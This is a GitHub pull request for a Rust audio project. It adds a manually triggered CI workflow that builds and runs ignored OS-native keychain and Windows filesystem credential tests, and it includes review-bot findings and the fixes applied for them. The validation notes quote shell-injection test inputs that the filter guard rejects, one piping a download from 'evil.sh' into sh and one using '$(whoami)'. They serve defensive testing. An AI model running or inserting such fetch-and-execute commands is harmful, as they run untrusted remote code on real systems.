ci: add a manual OS-native test binary job - #100
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Two credential tests are #[ignore]d and env-gated, and the CI matrix never passes -- --ignored nor sets AUDIO_GRAPH_RUN_OS_KEYCHAIN_SMOKE or AUDIO_GRAPH_WINDOWS_FILESYSTEM_SMOKE_DIR, so neither has executed anywhere: credentials::tests::os_keychain_smoke_save_import_delete_tombstone_and_redaction credentials::filesystem_policy::windows::tests::native_metadata_smoke_uses_only_closed_observations Build the --lib test binary for one OS per dispatch, upload it with its sidecar libraries and a generated RUN.md, and attempt the test on the runner non-blocking. The artifact matters because the Windows test asserts internal_fixed, identity_stable, and access_controls_enforced -- storage-class properties a runner's virtual disk may classify differently from a real internal disk, so green on CI is a weaker claim than green on hardware. Fail loudly when the filter matches no ignored test: a silent zero-match would reproduce the exact gap this job exists to close. The Windows test lives only on the credential-v2 branches, hence the ref input. workflow_dispatch only, never a PR gate, so it costs money only when asked. Inputs reach run: through env and the filter is charset-validated, so a crafted filter cannot inject shell. Validated locally without a CI run: actionlint clean; jq resolves exactly one test binary; the assertion passes on os_keychain_smoke and fails on native_metadata_smoke; the guard rejects "x; curl evil.sh | sh" and "$(whoami)"; Windows backslash escaping renders correctly. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
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📝 WalkthroughWalkthroughThe PR adds a manually triggered GitHub Actions workflow for building, packaging, uploading, and optionally running filtered OS-native Rust test binaries on Windows or macOS. ChangesOS-native testing
Estimated code review effort: 4 (Complex) | ~45 minutes Merge Risk: 🔵 Low · up to The workflow adds manual native test execution, but it should receive owner follow-up because the selected ref runs with checkout credentials still persisted, startup failures may be reported as missing tests, and hung or repeated dispatches can consume paid runner time. Possibly related PRs
Sequence Diagram(s)sequenceDiagram
participant Operator
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Operator->>GitHubActions: Start workflow with OS, ref, filter, and execution inputs
GitHubActions->>OSRunner: Select Windows or macOS runner and configure dependencies
GitHubActions->>RustToolchain: Build and resolve the filtered test binary
GitHubActions->>GitHubActions: Validate the ignored test and package native files
GitHubActions->>Operator: Upload the test binary artifact
GitHubActions->>OSRunner: Optionally execute the test without failing the job
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When inputs.os is windows, this builds the debug MSVC test executable without AUDIOGRAPH_EMBED_WINDOWS_TEST_MANIFEST=1. The repository's Windows CI sets that variable specifically because an unmanifested test harness can abort during process loading with STATUS_ENTRYPOINT_NOT_FOUND; here that makes the subsequent filter assertion fail before the binary is staged or uploaded, defeating the entire Windows evidence path. Set the variable on this build step, as .github/workflows/ci.yml does for Windows test builds.
AGENTS.md reference: AGENTS.md:L48-L50
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When the requested ref is one of the mutable branch names encouraged by the input description, RUN.md records only that branch name. After the branch advances, the downloaded binary can no longer be tied to the exact credential implementation it tested, so its result is ambiguous as durable native evidence. Capture git rev-parse HEAD after checkout and include that immutable SHA in the artifact metadata.
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In @.github/workflows/os-native-test-binaries.yml:
- Around line 78-80: Update the actions/checkout step in the os-native test
workflow to set persist-credentials to false, preventing the GITHUB_TOKEN from
being retained in the workspace while preserving the existing ref input.
- Around line 173-183: Update the ignored-test listing flow around "$TEST_BIN"
--ignored --list to capture its exit status instead of unconditionally masking
it with || true. Report a failed list command separately, including the command
failure context, and only perform the TEST_FILTER grep and “no ignored test
matches” handling when listing succeeds.
- Around line 70-76: Add a finite timeout-minutes setting to the test-binary job
to prevent hung cargo tests from consuming the default limit, and add a
concurrency group keyed by inputs.os so dispatches for the same operating system
serialize while different OS jobs remain independent.
- Around line 146-147: Update the cargo test build command in the workflow to
enable json-render-diagnostics, keeping human-readable compiler diagnostics on
stderr while preserving JSON artifact records in cargo-test-build.json.
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Codex P1 — embed the Windows test manifest at build time. build.rs:64 reads AUDIOGRAPH_EMBED_WINDOWS_TEST_MANIFEST during the build and emits /MANIFEST:EMBED plus /MANIFESTINPUT link args. Because --no-run IS the build, omitting it left the debug MSVC harness unmanifested, which can abort during process loading; the list assertion would then fail before anything was staged, defeating the whole Windows evidence path. It is debug-only and build.rs panics on release, so setting it for the windows build is safe. Codex P2 — record the resolved commit. `ref` accepts mutable branch names, so capture git rev-parse HEAD and put the immutable SHA in RUN.md and the artifact name. A downloaded binary can now be tied to the exact implementation it tested after the branch moves. CodeRabbit — do not mask the list exit status. `|| true` meant a binary that could not start (a missing sidecar library, the very risk this job ships sidecars for) surfaced as "no ignored test matches", blaming the ref and OS for the wrong reason. Report a failed list separately. CodeRabbit — json-render-diagnostics, so compiler errors stay readable on stderr instead of being buried in the redirected JSON. Verified locally that the artifact query still resolves exactly one binary and the JSON now carries zero compiler-message entries. CodeRabbit — timeout-minutes 90 and a per-OS concurrency group, so a hung build cannot burn to the 6-hour default on paid runners and repeat dispatches serialize. 90m leaves room for a cold Windows build; never cancel-in-progress because a live run is already spending minutes to produce evidence. CodeRabbit — persist-credentials: false. No step pushes, and later steps run build output from an arbitrary ref, so GITHUB_TOKEN should not sit in .git/config. Validated: actionlint clean; json-render-diagnostics parsing unchanged (1 candidate); the new list-failure path reports exit 127 against the binary rather than the ref. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
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All six findings applied in 57d8185. Each was verified against the code before changing anything. Codex P1 (manifest) — confirmed and fixed. Codex P2 (immutable SHA) — fixed. CodeRabbit ( CodeRabbit ( CodeRabbit (timeout + concurrency) — fixed, with one deviation: CodeRabbit ( Unrelated: the failing |
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@codex the P2 SHA finding is already addressed in 57d8185 — the re-post anchored at line 251, two lines above the fix:
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Problem
Two credential tests are
#[ignore]d and env-gated, and the CI matrix never passes-- --ignorednor sets their env vars. Verified: zero hits for--ignoredin.github/workflows/, and neitherAUDIO_GRAPH_RUN_OS_KEYCHAIN_SMOKEnorAUDIO_GRAPH_WINDOWS_FILESYSTEM_SMOKE_DIRis set anywhere in CI. So neither test has executed anywhere:credentials::tests::os_keychain_smoke_save_import_delete_tombstone_and_redactioncredentials::filesystem_policy::windows::tests::native_metadata_smoke_uses_only_closed_observationsMeanwhile the Windows CI job does run the portable
inspect_with_apitests against a fake API — real logic coverage, zero coverage of the actualCreateFileW/GetVolumeInformationByHandleWpaths.What this adds
One
workflow_dispatch-only job. Per dispatch it builds the--libtest binary for one OS, uploads it with sidecar libraries and a generatedRUN.md, and attempts the test on the runner (non-blocking). Two signals per run:(2) is the point for the Windows test: it asserts
internal_fixed,identity_stable, andaccess_controls_enforced— storage-class properties. A runner's virtual disk may legitimately classify differently from a real internal disk, so green on CI is a weaker claim than green on hardware.Design notes
refinput. The Windows test exists only on the credential-v2 branches;masterhas the keychain test but notfilesystem_policy/windows.rs.workflow_dispatchonly, so it costs money only when asked.run:viaenv, never${{ }}interpolation, and the filter is charset-validated, so a crafted filter cannot inject shell.Validation (no CI run spent)
actionlintclean, using the repo's.github/actionlint.yamlblacksmith runner labelsjqresolves exactly one test binary fromcargo test --no-run --message-format=jsonos_keychain_smokematched 1 testnative_metadata_smokematched nothing → exits 1x; curl evil.sh | shand$(whoami); acceptscredentials::tests::fooC:\ag-smokecorrectly in all four derived valuesorg.freedesktop.secrets: green in 0.13s, and fails fast (0.04s,ServiceUnknown) without the daemon — so it genuinely reaches the Secret Service layerFollow-up (not in this PR)
ci.ymlhas nopathsfilter, so a workflow- or docs-only change pays the full 3-OS matrix. Worth apaths-ignorelater.Summary by CodeRabbit